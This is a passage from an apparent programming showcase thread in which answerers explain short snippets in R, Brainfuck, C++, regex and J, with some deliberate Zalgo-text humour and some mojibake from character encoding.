an Excel chart showing student's SAT score increases with family income, without considering future covariates) http://twitter.com/#!/hadleywickham (February 2012) ``` --- **Length 30:** ``` pie(rep(1,12),col=rainbow(12)) ``` Who doesn't love a good pie chart? The `pie()` function will serve you up a freshly baked pie chart based on a vector of numbers. `rep()` creates a vector by repeating the first element *r* times where *r* is the second argument. The `col=` parameter tells `pie()` how to color the slices. The magical function `rainbow()` generates a vector of a specified length containing the hex codes for "equally spaced" colors of the rainbow. What you have here is your basic "Amount of Each Color in This Chart" chart: ![enter image description here](https://i.stack.imgur.com/AtXKF.png) --- **Length 29:** ``` summary(lm(mag~depth,quakes)) ``` There are a few things going on here, so let's take them one step at a time. `quakes` is a dataset that ships with R. It contains information about 1000 seismic events of magnitude greater than 4.0 on the Richter scale near Fiji since 1964. Two of the columns in the dataset are `mag`, which is the magnitude of the earthquake, and `depth`, which is the depth of the epicenter in kilometers. The `lm()` function, as mentioned in snippet 28, fits linear models. It returns an `lm` object, or more precisely, an object of class `lm`. There are two ways to specify the predictor (or *independent* variable) and the response (or *dependent* variable), and I've chosen the formula method. This takes the form `response ~ predictor`. Multiple predictors are specified as `y ~ x1 + x2`. The objects in the formula are evaluated in the context provided in the next argument. So what `lm(mag ~ depth, quakes)` is doing is fitting a linear model using ordinary least squares regression where magnitude is the response and depth is the predictor. It knows what `mag` and `depth` are because we told it that they come from `quakes`. `summary()` is a generic function used primarily for summarizing the results of fitted models. It invokes a method particular to the class of its argument. Since we passed an `lm` object, it's actually invoking a function called `summary.lm()`. Putting it all together, we get the summary of the linear model attempting to explain earthquake from earthquake depth. Specifically, this is what R spits out: ``` > summary(lm(mag~depth,quakes)) Call: lm(formula = mag ~ depth, data = quakes) Residuals: Min 1Q Median 3Q Max -0.72012 -0.29642 -0.03694 0.19818 1.70014 Coefficients: Estimate Std. Error t value Pr(>|t|) (Intercept) 4.755e+00 2.179e-02 218.168 < 2e-16 *** depth -4.310e-04 5.756e-05 -7.488 1.54e-13 *** --- Signif. codes: 0 ‚Äò***‚Äô 0.001 ‚Äò**‚Äô 0.01 ‚Äò*‚Äô 0.05 ‚Äò.‚Äô 0.1 ‚Äò ‚Äô 1 Residual standard error: 0.3921 on 998 degrees of freedom Multiple R-squared: 0.05319, Adjusted R-squared: 0.05225 F-statistic: 56.07 on 1 and 998 DF, p-value: 1.535e-13 ``` Notice how the first thing it tells you is the function call? That's because the `lm()` function uses `match.call()`, just like we did in snippet 28! --- **Length 28:** ``` f<-function(x,y)match.call() ``` R functions often like to keep track of what you tell them. Indeed, sometimes the command you've submitted is given back to you as an attribute of the returned object. (An example is `lm()`, which creates linear models.) Recalling the precise instructions is accomplished using `match.call()` within the function. This captures, or *matches*, the interpreted function call. Here we've defined a function `f()` that takes two arguments and then tells you what it saw. ``` > f(1,2) f(x = 1, y = 2) ``` This is primarily useful when developing functions for general use (rather than just for you), like in package development. If you want to see an example of `match.call()` in the wild, look at the source code for `lm()` by submitting `stats:::lm`. One of the first things it does is capture the function call using `match.call()`. --- **Length 27:** ``` install.packages("ggplot2") ``` This may seem trivial, but it shows one of the reasons why R is so popular: It's very easily extensible through packages. And anyone can develop and freely share their packages! `install.packages()` does precisely what its name suggests. It goes a-huntin' for packages using your default CRAN (Comprehensive R Archive Network) mirror then installs them on your system where R can find them. You can also have it install packages from local source code. Remember snippet 23 where we used the `ggplot2` package? That package does not ship with R, but in just 27 characters you can make all of your `ggplot2` dreams come true by installing it. --- **Length 26:** ``` filled.contour(t(volcano)) ``` The `volcano` dataset ships with R. It's a matrix containing topographic information on the Maungawhau (or Mt. Eden) volcano in Auckland, New Zealand. The rows of the matrix correspond to grid lines running east to west and the columns are grid lines running south to north. For the sake of disorientation, let's swap the directions, so columns are now east-west and rows are south-north. We can do this using a matrix transpose, accomplished via `t()`. And why not make a contour map while we're at it? `filled.contour()` does just that. ![enter image description here](https://i.stack.imgur.com/bEYHZ.png) --- **Length 25:** ``` pmatch("s",c("n","size")) ``` The `pmatch()` function provides the magic behind all the partial matching we've seen so far. The first argument is a string which is compared against each element of the second argument, a vector. If there's a unique match, the index of the matching element is returned, otherwise you get `NA`. The snippet here is a "real-world" example of the use of this function. Think back to snippet 13 where we used the `sample()` function. It accepts arguments `n`, `size`, `replace`, and `prob`, but only requires the first two. In snippet 13 we used `s=` as shorthand for `size=`. What's actually going on in the background is something like this snippet, where what we've provided is compared against what's expected. Since "s" matches "size" uniquely, it's totally legit to use `s=` as shorthand. --- **Length 24:** ``` `(`=function(x)9;2*(3-1) ``` A perfect example of something you shouldn't do! Ever! You can assign characters as functions so long as you surround them in back ticks when defining the function. Here we told R that `(` is a function that always returns 9 regardless of the input. Like in many other languages, `;` can be used for including two commands on one line. So what we've told R is to define the function `(`, then print `2*(3-1)`. Now, just about any person would tell you that 2\*(3-1) should be 4 because you do 3-1=2, then 2\*2=4. But we've told R that anything inside parentheses is 9. So while 3-1=2, we now have (3-1)=9. Then we get 2\*(3-1) = 2\*9 = 18. Since awful things like this are possible, every time you submit code that contains parentheses in an expression (i.e. not a function call), the R interpreter actually goes looking for any functions called `(` regardless of whether you've defined `(` as a function. In general, the more you write, the more work the R interpreter does. --- **Length 23:** ``` qplot(Na,y=RI,data=fgl) ``` Finally enough votes for a (very) simple `ggplot2` example. The `ggplot2` package is an R implementation of the Grammar of Graphics, created by the legendary R deity [Hadley Wickham](http://had.co.nz). In general the syntax is very different from the base R graphics and takes some getting used to. However, `qplot()` is a simpler interface to some of the core features of the package and has syntax akin to `plot()` in base R. But unlike many of the examples I've shown you, `qplot()` does not support partial matching of function parameter names. The `fgl` dataset comes from the `MASS` package. It contains measurements of properties of forensic glass fragments. Here we're using the variables `Na`, which is the percent sodium (Na) by weight, and `RI`, which is the refractive index of the glass. ![enter image description here](https://i.stack.imgur.com/7k2DU.png) --- **Length 22:** ``` unique(presidential$n) ``` The `unique()` function returns a vector containing the unique values from its input vector in the order in which they appear in the input. The `presidential` dataset ships with the `ggplot2` package (27). (Thanks to Jemus42 for correcting that!) Its description: > > The names of each president, the start and end date of their term, and their party of 10 US presidents from Eisenhower to Bush W. > > > `presidential` is a data frame, and data frames contain columns just as lists contain items. Columns are referenced by name using `$`. This particular dataset has a column called `name`, containing the name of the president. But wait, we only specified `n`! Actually, this is yet *another* example of partial matching (13, 16), so `n` is totally legit. Submitting this has an interesting result: ``` [1] "Eisenhower" "Kennedy" "Johson" "Nixon" "Ford" "Carter" [7] "Reagan" "Bush" "Clinton" ``` Notice how Lyndon B. Johnson's name is spelled... Oops. (Note: It has come to my attention, over a year after posting this, that the Johnson typo has been fixed. RIP humor.) --- **Length 21:** ``` integrate(dexp,0,Inf) ``` R has a built-in function for adaptive quadrature of functions of single variable over a finite or infinite interval. In R, infinity is specified as `Inf` for +infinity and `-Inf` for -infinity. The `dexp()` function is the probability distribution function for the exponential distribution. Since the support of the exponential distribution is [0, +infinity) and probability distributions integrate to 1, we would expect the result to be 1. Behold, an expected result! ``` 1 with absolute error < 5.7e-05 ``` --- **Length 20:** ``` deriv(~cos(x^3),"x") ``` R can do symbolic derivatives! This returns: ``` expression({ .expr1 <- x^3 .value <- cos(.expr1) .grad <- array(0, c(length(.value), 1L), list(NULL, c("x"))) .grad[, "x"] <- -(sin(.expr1) * (3 * x^2)) attr(.value, "gradient") <- .grad .value }) ``` Looking through that you can see how it parses the function and uses the chain rule. Everything a function who took first year calculus should be able to do! The first argument to the `deriv()` function is an R expression (which is an actual R type) in terms of some variable, in this case `x`. The second argument is the name of the variable with respect to which the derivative is taken, here `"x"`. Want to see something really neat? Assign the above to a variable, say `dx`. Define a variable `x` as a numeric vector. Then submit `eval(dx)`. R evaluates the derivative at `x`! --- **Length 19:** ``` c(matrix(1,3,3),"a") ``` In R, `c()`, short for "combine" or "concatenate," creates a vector from its arguments. The elements of vectors must be of the same type and all have length 1. But instead of getting mad at you about it, R will flatten an element with structure, in this case a matrix, and cast everything to the same type. If the arguments to `c()` contain only a single type, no type casting occurs, e.g. if all arguments are logicals (`TRUE` and `FALSE`), the vector will be all logicals. If it contains logicals and numbers, it will be all numbers. If it contains character and anything, it will be all character. So our snippet gives us this: ``` > c(matrix(1,3,3),"a") [1] "1" "1" "1" "1" "1" "1" "1" "1" "1" "a" ``` Note that the 3 by 3 matrix was flattened and the addition of "a" made everything into characters. --- **Length 18:** ``` (1-1/3-1/3-1/3)==0 ``` A lesson in machine precision. This returns `FALSE`. --- **Length 17:** ``` example(readline) ``` The `example()` function will give you an example of how to use any built-in function. If you need to find out how to use `readline()`, R has a smug answer for you. ``` > example(readline) readln> fun <- function() { readln+ ANSWER <- readline("Are you a satisfied R user? ") readln+ ## a better version would check the answer less cursorily, and readln+ ## perhaps re-prompt readln+ if (substr(ANSWER, 1, 1) == "n") readln+ cat("This is impossible. YOU LIED!\n") readln+ else readln+ cat("I knew it.\n") readln+ } readln> if(interactive()) fun() Are you a satisfied R user? ``` Way to be modest, R. --- **Length 16:** ``` acf(lh,t="part") ``` The `acf()` function returns the autocorrelation function for a time series. `lh` is a dataset that ships with R. Its description: > > A regular time series giving the luteinzing hormone in blood samples at 10 mins intervals from a human female, 48 samples. > > > In this example, partial matching is being used *twice*: once with the function parameter and once with the string value passed to the parameter. The full parameter name is `type` and the recognized values are `"correlation"`, `"covariance"`, and `"partial"`. Only enough of the string has to be provided to identify it uniquely, so we can use `"part"` for `"partial"`, which gives us the partial autocorrelation function (PACF). ![enter image description here](https://i.stack.imgur.com/bTWPM.png) --- **Length 15:** ``` p3d(bunny,p=99) ``` Again we see the infamous bunny (11). The `onion` package gives us an even nicer way to view the most useful dataset ever, using the 3D plotting function `p3d()`. This calls the base graphics function `persp()` in the background, which takes a rotational argument `phi`. Using partial matching of parameter names (13), we can specify just `p=` in place of `phi=`. ![enter image description here](https://i.stack.imgur.com/XZzNj.png) --- **Length 14:** ``` stats:::rgamma ``` R is open source but you don't have to be a wizard to view the source code; you can just type the package name and the function whose code you want to view separated by three colons (`:::`). This gives you the code that defines the `rgamma()` function, which generates random deviates from the gamma distribution. Submitting this gives: ``` function (n, shape, rate = 1, scale = 1/rate) { if (!missing(rate) && !missing(scale)) { if (abs(rate * scale - 1) < 1e-15) warning("specify 'rate' or 'scale' but not both") else stop("specify 'rate' or 'scale' but not both") } .External(C_rgamma, n, shape, scale) } <bytecode: 0x00000000098cd168> <environment: namespace:stats> ``` Note that it uses a function `.External()`. This calls functions written in other languages, typically C and Fortran, the languages which comprise much of the foundation of R. Locating *that* source code does take a bit of wizardry. **Edit:** @Vlo pointed out that mere mortals can indeed view underlying C code invoked with `.Internal()` and `.Primitive()` using the `pryr` package. Thanks, @Vlo! --- **Length 13:** ``` sample(9,s=4) ``` This doesn't look like much, but it exemplifies a powerful concept in R: *partial matching of function parameters*. The named parameters in the `sample()` function are `size`, `replace`, and `prob`, but you only need to provide enough letters of the named parameter to identify it uniquely. Thus for `sample()`, you can use `s=` instead of `size=` since no other parameter names begin with the letter "s". The code here selects a random sample of size 4 from the integers 1 to 9. --- **Length 12:** ``` LETTERS[-pi] ``` There's a built-in vector called `LETTERS` which contains all uppercase English letters ordered alphabetically. Unlike many other languages, you can index a vector using a floating point number. Nothing too exciting happens; R just takes the integer portion. Using `-` preceding the index of a vector removes the element with that index from the vector. `pi` is a built-in constant containing--you guessed it--the irrational number œÄ. So this removes element 3 from the vector and returns "A" through "Z" omitting "C". --- **Length 11:** ``` plot(bunny) ``` In the `onion` package, there's a dataset called `bunny`. Plotting it gives you what may be the most useful graphic of all time: ![enter image description here](https://i.stack.imgur.com/tfg2D.png) --- **Length 10:** ``` ????sample ``` Say you're REALLY confused about the `sample()` function and you desperately need help. Rather than the usual `?sample` to pull up the R manual page, you pound out four question marks. R hears your plight and attempts to help... ``` Contacting Delphi...the oracle is unavailable. We apologize for any inconvenience. ``` Alas. --- **Length 9:** ``` isTRUE(1) ``` At first this looks to defy the convention in the rest of the R base package to separate `is` and the following word in the function name with a `.`. However, that only applies to a logical test of whether the argument is of a certain type, as below (8). In this case, we're testing whether it is `TRUE`, which is not a type. This uses a strict definition of `TRUE`, i.e. 1 is not "true" in the usual sense. `isTRUE(1)` returns `FALSE`. --- **Length 8:** ``` is.na(8) ``` Unlike most other programming languages, `.` is a valid character in function and variable names. It does not denote any sort of method or heirarchy; it's just part of the name. The `is.na()` function checks whether its argument evaluates to `NA` (missing) and returns `TRUE` or `FALSE`. --- **Length 7:** ``` stop(7) ``` This issues an error with the input as the error message. If called inside of a function, the function execution will stop. But calling it outside of a function won't stop the script. In this case, the output is `Error: 7`. --- **Length 6:** ``` x < -1 ``` While this may seem trivial, it displays a major criticism of the assignment operator `<-`: namely, the meaning changes depending on the placement of spaces. As mentioned, `x <- 1` assigns 1 to `x`. Separating `<` and `-` with a single space as above changes it to a logical test of whether `x` is less than -1. For that reason, many prefer `=` for assignment. --- **Length 5:** ``` x<<-1 ``` Similar to `<-` except `<<-` always assigns the variable to global scope regardless of the current scope. --- **Length 4:** ``` x<-1 ``` R uses `<-` to assign variables in the current scope. This snippet assigns the value 1 to `x`. --- **Length 3:** ``` !0i ``` The `!` operator is R for "not," and `0i` is the complex number `0+0i`, AKA 0 in the complex plane. Submitting this statement returns `TRUE` since 0 is false. --- **Length 2:** ``` NA ``` This returns the special R value `NA`, which stands for "not available," denoting a missing value. --- **Length 1:** ``` T ``` This returns `TRUE`. In R, `T` and `F` are synonyms for the boolean values `TRUE` and `FALSE`, respectively. [Answer] ## [Brainfuck](http://esolangs.org/wiki/Brainfuck) **Factoid:** Brainfuck (Also known as brainf\*ck) was a experimental esoteric language for creating the smallest turing-complete language interpreter ever, created by Urban M√ºller, and is currently the most famous language of its kind. It has only eight commands, is easy to learn, but hard to use. Brainf\*ck has a tape base memory with 30000 cells and a a movable pointer, and can be visualized like this: ``` 0 0 0 0 0 0 ^ ``` With the `^` character representing the pointer, and the 0's representing the values for each cell. Brainfuck has eight instructions: ``` Instruction C Equivalent Description + mem[ptr]++; Add one to the value under the cell - mem[ptr]--; Subtract one from the value under the cell > ptr++; Go on cell to the right < ptr--; Go on cell to the left , mem[ptr] = getchar(); Read a ASCII character from input and put the result in the value under the cell . putchar(mem[ptr]); Write a ASCII character to the output using the value under the cell [ while (mem[ptr]) { Start a while loop: Continue to matching ']' when value under the cell is 0 ] } End a while loop: Go back to matching '[' when value under the cell is NOT 0 ``` Brainfuck to C: ``` #include <stdlib.h> int main(void) { unsigned char* mem = calloc(30000, sizeof(unsigned char)); unsigned int ptr = 0; // Put your brainfuck code here, converted to the matching expressions under "C equivalent" return 0; } ``` --- **Length 1 Snippet** Read one character and put it in the current cell. ``` , ``` Memory (with input: `abc`) ``` 0 0 97 0 0 0 ^ ``` **Length 2 Snippet** Add one to the current cell, and shift the pointer to the right. ``` +> ``` Memory ``` 0 0 1 0 0 0 ^ ``` **Length 3 Snippet** Remove one from the current cell until it is zero; Set the current cell to zero ``` [-] ``` Possible memory: Memory: (Before) ``` 0 0 100 0 0 0 ^ ``` Memory: (After) ``` 0 0 0 0 0 0 ^ ``` **Length 4 Snippet** Comments: In brainfuck, everything not a instruction is ignored. For that reason the following program is a totally valid (but empty) brainfuck program: ``` Hey! ``` **Length 5 Snippet** A simple cat program (Write input to output) ``` ,[.,] ``` Thanks to tomsmede for his comment **Length 6 Snippet** Move the value of the current cell to the cell to the right (Assuming the cell to the right is 0, otherwise it would add the value of the current cell to the value of cell to the right): ``` [>+<-] ``` In general, people use this code for moving a variable though. Memory: (Before) ``` 10 0 100 0 0 0 ^ ``` Memory: (After) ``` 10 0 0 100 0 0 ^ ``` **Length 25 Snippet** Reverse a six character input and print it, followed by every ASCII character (N-1)..1 (where N is the value of the first input character). ``` ,>,>,>,>,>,.<.<.<.<.<[.-] ``` **Length 53 Snippet** ``` main(){i=0;j=0;if(i>=0){if(j<=i)i+=1;i-=1;}return 0;} ``` This minified C program is also a Brainfuck program in disguise, and vice versa! In fact, they (almost) do the same thing. Here's the Brainfuck code without the "comments" (C code). ``` ><+- ``` Let me explain the Brainfuck code (and C code). As you can see, it uses two cells (`i` and `j`). It increments the first cell (increment `i` by 1). Then it decrements the same cell (decrement `i` by 1). This is just a silly example of some source code being able to be compiled as two different languages and run (practically) the same. [Answer] # C++ With its preprocessor, templates, lambdas, type traits and countless other complex features that no one can ever hope to understand in its entirety, C++ is rediscovered by each new generation of its standard. By exploiting its numerous ways to do things at compile time, one can write zero overhead abstractions like a library that allows physical units being attached to numeric datatypes in order to check their soundness at compile time (e.g. you can not assign the outcome of `kg`\*`m` to `N`) ## Length 1 ``` # ``` Usually introducing a preprocessor statement, `#` can stand on a line on its own. It essentially means nothing and seems to be so unknown that most syntax highlighters I see don't know it. ## Length 2 ``` %: ``` Of course not everyone has a `#` key, so C++ is (well, it really inherited it from ancient C) generous to allow you to write it with this alternative token (aka *digraph*) ## Length 3 ``` ??= ``` This is a historical course on C++. These days not necessarily valid anymore, though implementations can support them, are trigraphs. This sequence is translated into `#` on those systems that support it, but to not interfere with raw string literals, it is not allowed within those. Implementations may chose to drop support alltogether. ## Length 4 ``` auto ``` Is one of the newer (since C++11) inventions to make working with generic code easy. It is for deducing the type of an expression, and since C++14 it can even be used for deducing lambda parameters and the return type of functions. ## Length 5 ``` catch ``` Is a keyword that is also known from many other languages, present in C++, but the good idiomatic C++ programmer does almost never use it. With its constructors and destructors idiomatic C++ uses a principle widely called RAII (Resource Acquisition is Initialization) or how I like to sometimes call it more appropriately: SBRM (Scope Bound Resource Management). Due to classes like smart pointers, one can tie the lifetime of dynamically allocated resources (that is not only memory!) to other objects. When those go out of scope (e.g. by a thrown exception), these objects automatically clean up resources. This allows for exception safe and easy to use code that doesn't need to use `catch`. ## Length 6 > > `[](){}` > > > ``` []{}() ``` As stefan mentioned in the comments, you can use `[]{}` as the shortest lambda object, thus this is the shortest form to *call* a lambda. The following text is for the old version: is probably the shortest form of a lambda. Lambdas in C++ are objects (of implementation defined type) that are able to capture part of the scope they are created in (the [] syntax controls this), and are callable (the () syntax controls this). Their code (The {} part) has access to these variables as if they were within their scope. With their optional return type deduction and auto parameter deduction introduced in C++14, they are *the* tool to use for all the standard library algorithms that expect a callable (e.g. the third std::sort parameter). ## Length 7 ``` virtual ``` Is the keyword to start using runtime polymorphism in C++, one of the basic blocks of object oriented programming. This follows the "don't pay for what you don't use" principle, wheras in other languages all functions are virtual by default. Being a multi paradigm language, it might be a surprise for people thinking "C++ is object oriented" to see programs or libraries that make almost no use of this keyword, e.g. because they follow the generic programming principle. ## Length 8 ``` override ``` Working together with the virtual keyword, `override` is one of the later additions to C++ to make the compiler do more work for you. By using it, you express the intention of overriding a virtual function in the base class, and the compiler will error out if you did a mistake and that class doesn't have the specified function. In general it is considered good style if your code expresses the intention, rather than fiddle with bits. ## Length 9 ``` constexpr ``` Being also a later addition to C++, `constexpr` allows the programmer to express for functions or variables, that they are known at compile time and should be computable at compile time. This allows these functions to be used in contexts that need compile time expressions (e.g. as template parameters or array sizes). Many standard library functions (if possible) are already constexpr so they can be used here. ## Length 10 ``` for(i:c){} ``` Is a complete loop over a container, or container like construct that supports `std::begin` and `std::end` to get iterators (that includes C style arrays). It is basically equivalent to `for(auto __i = std::begin(c); __i != std::end(c); ++__i){ auto& i = *__i; }`. This allows for easy looping in generic code. ## Length 11 ``` void f()&&; ``` Is a new way to declare member functions and the properties on the object they can be called on. In previous versions of C++ we only had the ability to chose `void f() const;` to tell the compiler to be able to call the function on const objects (thus without the const you can not call them on non-const objects). The same way we now have the `&&` syntax for r-value references being used to be able to call those functions on rvalues. ## Length 12 ``` int main(){} ``` This is probably the shortest complete program that you can compile link and run. It will do nothing and return 0. This return is one of the many special cases you can encounter in C++. Normally returning nothing is undefined behaviour, but for the entry point function main, returning nothing means returning 0. ## Length 13 ``` auto f()->int ``` is a rather new way to declare the return type of a function. Normally you would not do this if you already know the type, but there are plenty of situations in generic programming where the type depends on template parameters and the variables you use. Doing it this way allows for a somewhat easier access to these parameters as in `template<class T> auto f( const T& t ) -> decltype(t.foo())` instead of `template<class T> decltype(std::declval<T>().foo()) g( const T& t ) { return t.foo(); }` [Answer] # Regex ## Length 2 snippet ``` [] ``` **JavaScript**: An empty character class that doesn't match anything. **PCRE**, **Java**, **Python `re`**, **Ruby** (tested on version 2.0): Syntax error. ## Length 1 snippet ``` . ``` `.`, called dot-all, is available in all flavors I had a chance to look at. ### What does it match? IÃßnÕü gÕúîe“âðÕûnբõeÕùÕúrÃ∑ÕùaÕòlâ“â,Õüð ÃïÃï`Ã¥.Ã∏ÕÅ`Ã¥Ãõâ ðâÃ∏mÕûaîtåîcÕûhÃõeÕ¢Õ°sÃ∂Õò Õòa“ânÕ†ÕúÃõyÃ∏ÕÄ Õ¢cõðhaÕÅrÕòÕùaÃïÕ¢cÕÅtÕ†ÕòeÕèÕ†ÕÄrÕÄÃ∑ բåÃïexÕùÕûÕûc“âepÕÄtÃõ ÃïfÃ¥“âoÕüÕúrÃ¥Õ¢ ÕûnÕèeîÕüwÃïâÕú Õ°lÕùiÃ∏ÃßnÕ°Õ¢eÃ∂.Õü **Java `Pattern`**: In default mode, dot-all matches any code point, except for these 5 code points `\r\n\u0085\u2028\u2029`. With `UNIX_LINES` mode on (but without `DOTALL`), dot-all matches any code point, except for `\n`. With `DOTALL` mode on, dot-all matches any code point. From Java 5, `Pattern` operates on code point, so astral characters are matched by dot-all. **Python `re`** (tested on 2.7.8 and 3.2.5, may be different on 3.3+): In default mode, dot-all matches any UTF-16 code unit (0000 to FFFF inclusive), except for `\n`. `re.DOTALL` lifts the exception and makes `.` matches any UTF-16 code unit. In these versions, `re` operates on UTF-16 code units, so `.` only manages to match one code unit of characters in astral plane. **.NET**: Same as Python. The dot-all mode in .NET is called `Singleline`. **JavaScript (C++11 `<regex>`)**: In default mode, dot-all matches any UTF-16 code unit, except for these 4 code points `\n\r\u2028\u2029`. With `s` flag on, dot-all matches any UTF-16 code unit. JavaScript also operates on UTF-16 code units. **PCRE**: Depending on build option, dot-all can exclude `\r`, `\n` or `\r\n`, or all 3 CR LF sequences, or any Unicode newline sequence in default mode. In default mode, the engine operates on code unit (can be 8, 16, or 32-bit code unit), so dot-all matches any code unit, except for the newline sequences. In UTF mode, the engine operates on code point, so dot-all matches any code point except for newline sequences. The dot-all mode is called `PCRE_DOTALL`. **PHP** (tested on ideone): PCRE, compiled as UTF-8 library and `\n` is the only newline sequence by default. Dot-all mode is accessible via `s` flag. **Postgres**: In default mode, dot-all matches any code point without exception. **Ruby** (tested on version 2.0.0): In default mode, `.` matches any code point except for `\n`. Dot-all mode is accessible via `m` flag (!). `s` flag is used to indicate Windows-31J encoding in Ruby. --- ## Factoid RÕûÃßeðÕü“âgÕüÕ¢ÕÅeÕòâåհxÕÅðÕû ÃõÕÄ“â“ââc“âÃ∑îaÃ∏ÕûÃõn“âÕ†Ãõ ÕÄÃ∑Ã∏pՆåհ“âõaîÕúÃßÕ¢rÃ∏Ã∏ÕùâÃ∑sհâÕÄeÕòÃ∑Ã∑Ã∑Õû ÕÄîÃßHÕúîÃßÕúTÃ∑ÕûMÕúÃõÃ∑LÕ¢.åðÕÅ Repeat after me. RÕ≠ÕØÃÅÕÉÃéÕÇÃàÕØÕ§ÃáÕäÕäâÃ∂ÃßÃ∂ÕüÃ∞ÃûÃ≤êÃÆÃ≥öÕeÃÜÃΩÕÑÕ®ÃêÃΩÕ™ÕÆÃçÕÇÕêÕÆÕßÃîÃèÃìÕ£ÕÄñÃπéÙÕàÕàÕçÃóÕéÃùÕögÃÇÕäÕíÕ¶ÕõÕ§ÕóÕ¨ÕßÕ™ÃæâÕòõâÕüÃñçÃúÃ≠ÕîeÕ¶ÃÑÕ≠ÃëÃæ“âîÕüբîÃùèÃπÃòÃ≠ÕîxÃæÃçÕ¶ÃëÕÑÃãÃåÃâÃéÕäÕÆÕóÃÑÃöÃöÃÜÃíÕÅãêÕìÆÕàÕïÕÃúÕöñÃùÕÖôÕöÃ≥ ÕÇÕßÕßÃÉÕêÃéÕÆÃåÕ§ÕÑÃíÃÜÕ£ÕÑÃèÃîÕäÃêÃ∏ÕÄöÕàÕèÃ∫ÕácÕ®ÃÉÃøÃìÃàÕÅÃßîèÙÃ≥öÕéÃñÕÖÕïöÕîaÃèÕÆÃéÕÉÃêÃ∏Õ°ÕòÕúÃïÃ≥Ã∫ÆÃ≠nÕ≠Õ≠ÕÑÕ¶ÕÑÃΩÕóÕ•ÃëÕùÃßîհôÕîÕçèçÃòÕéÕöãÃüöÕçÃú ÃçÃÑÕ≠ÕÉÕ®ÃãÕãÕÑÕóÃåÃáÕ§ÕãÕ¨ÃõÕòÃ∏ÃñÃùêêÕépÕ™ÃíÃçÕ´Õ§Õ≠ÕäÕÆÃáÃøÃÜÃöÃêÃÑÃéÕåÕèÃßÕèÕáúÕöÃ∞ÕìÃ≤ÕïÃ∞ÃñÃòÃüÃûÃ∫Ã≤aÃâÃäÕ£Õ≠Õ§ÃáÕ®ÕòÕ†ÃõÕÅÕÕáôêrÕ¶ÃÇÕÑÃÜÕëÕäÕ£ÃäÕÆÃâÃöÃâÕÜÕßÃíÕõÃêÃãÕèÕ°ÕúÕûÃ¥Ã≠ôÃûÃØÃòÃñÕçúÃñÃúÃûÃñéÕïÃπêÃÆÕÖÃósÕ¨ÃãÕåÃÑÕÇÕ©ÃìÃêÃîÕÉÕåÃæÃöÃÄÃàÕäÃäÕ§ÕÄÃüÕàÃ∫ÕñöÃüÃôöÕñçeÕ´ÃêÕíÃΩÕØÕ´Õ®ÕèîÕÄðÕÅöçÃôÕçÃôÙÃùÃÆçÕéÃ≠ÃñÙêÕôÕçÕñÕâ ÃêÕóÕóÕäÃáÕ£ÕíÕóÕëÃÜÕêÃéÃêÃÄÕ¨ÕõÕÆÕùÕâÃ≠ôÃ∞ÕîÃùÕìúÃÆÕöêÕéÕéÕâHÕ£Õ¶ÃçÕ®ÕíÃîÃåâÕÕïúÕìôÕôÃ∫úÃÆTÕíÃëÕ≠ÃêÃëÃÉÕ≠Õ£ÕêÃéÃíÃâÕäÕúÕÄÕúÙÃ≤öêöÕñÃûçMÕóÕßÃåÕØÕãÕÇÃâÃçÕ≠ÃìÃáÃêÃåÕúÕ†ÃûÙÕáÕïéÕâLÃÅÕõÕåÕ≠ÃâÃçîÃ∑Ã≥ÃòÃØÕöÕì.ÕØÕÜÃäÃåÕØÃáÃìÃèÕêÕ™ÃãÕÑÕëÃï“âÃ∑ÕÄÕÅÆÃ∞úçÃ≤ [Answer] ## J PS: Snippets now linked to [tryJ.tk](http://tryj.tk) letting you play around with them running in JavaScript in your browser, without installing J. PPS: I swapped order; this makes more sense for people joining in, and for future reference. PPS: I think, due to time constraints, I will add one snippet a day ### factoid: [J](http://www.jsoftware.com/jwiki/FrontPage) is a descendant of APL (see [here](http://keiapl.org/rhui/remember.htm#sec1) for the family history) minus the funny character set. ### [Length 1 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=_) ``` _ ``` J uses `_` both as [infinity and as negative indicator](http://www.jsoftware.com/help/dictionary/d030.htm), when attached to number literals (opposed to the verb `-`). ### [Length 2 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=a.) ``` a. ``` `a.` is called [Alphabet](http://www.jsoftware.com/jwiki/Vocabulary/adot), containing all 1 byte characters. As such J does not contain functions like `atoi`, since they are simple look-ups in the alphabet: `a. i. 'z' =122` ### [Length 3 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=i.9) ``` i.9 ``` [`i.`](http://www.jsoftware.com/help/dictionary/didot.htm) is for Integers, when used *monadically* (ie. only one argument, the right one, usually called y). When used *dyadically* it serves as *index of*, as in the example above. ### [Length 4 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=!!6x) ``` !!6x ``` J supports [arbitrary precision integer and rational numbers](http://www.jsoftware.com/help/dictionary/dcons.htm). This calculates the factorial of the factorial of 6 (a 1747 digit number). ### [Length 5 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=%5E.%5E%3A_%20%5D3) ``` ^.^:_ ``` A dense one... First, verbs (as J calls functions) are organized by theme. All ^ verbs are tied to exponentiation. `^` for [exponentiation](http://www.jsoftware.com/help/dictionary/d200.htm) (and `exp` when used monadically, `^.` for [logarithms](http://www.jsoftware.com/help/dictionary/d201.htm). `^:` is a special one, the [Power](http://www.jsoftware.com/help/dictionary/d202n.htm) conjunction (a higher order function), which applies a function a number of times. When right the argument is infinity (`_`) it executes its left argument (in the example `^.`) on its own output till it converges. In effect, `^.^:_` is a verb solving `x = ln(x)` when applied to any argument but 1, yielding `0.318132j1.33724`. ### [Length 6 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=%5E0j1p1) ``` ^0j1p1 ``` or equivalently ``` ^o.0j1 ``` [Euler's Identity](http://www.jsoftware.com/jwiki/Essays/Euler%27s%20Identity) in J. As cited above, `^` is `exp()`. Apart from arbitrary precision integers and rationals, it also supports powers of pi and complex numbers, and combinations hereof as literals. `0j1p1` means `(0 + j) * pi ^ 1`. ### [Length 7 